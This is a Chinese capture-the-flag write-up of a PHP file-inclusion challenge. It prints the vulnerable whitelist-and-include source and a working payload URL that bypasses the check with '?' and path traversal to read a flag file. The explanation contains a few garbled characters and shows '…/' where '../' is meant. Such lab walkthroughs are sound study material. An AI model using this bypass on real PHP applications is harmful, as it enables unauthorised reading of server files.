打開題目首先看到的是這樣的,然后通過f12找到了source.php檔案,打開是代碼審計,
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
然后看到提示hint.php,訪問后得到flag在ffffllllaaaagggg下,然后開始審計一波代碼,
首先它先判定了傳入的是不是慷訓者是不是字串,然后進行了三次白名單判斷,
里面涉及到mb_substr(),mb_strpos(),urldecode()三個函式,
mb_substr(str,start,length,encoding):回傳從start位置開始的長度為length的字串,
mb_strpos(str,find_str,offset,encoding):回傳str中從offset(默認為0)開始第一次出現find_str的位置,
urlcode():對其傳入的str引數進行str解碼,
根據代碼分析得到,在第一次$_page取的是從0開始到第一次出現?之間的字串,所以我們在引數中傳入一個?繞過白名單,
最后的payload為:
http://3d60ae22-b588-48ca-b084-541dc4f6eb37.node4.buuoj.cn/source.php?file=hint.php?/../../../../ffffllllaaaagggg
$_page第一次取值為hint.php在白名單,回傳true,然后包含hint.php?/…/…/…/…/ffffllllaaaagggg這個檔案得到flag,
這里解釋一下為什么要這么多…/ ?
在include包含路徑中,可以隨便輸入一個字串,然后再輸入一個…/就可以抵消,否則就會報錯不存在此路徑,這里多個…/就是不斷的回傳上一級目錄查找ffffllllaaaagggg,最后回傳flag,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/289173.html
標籤:其他
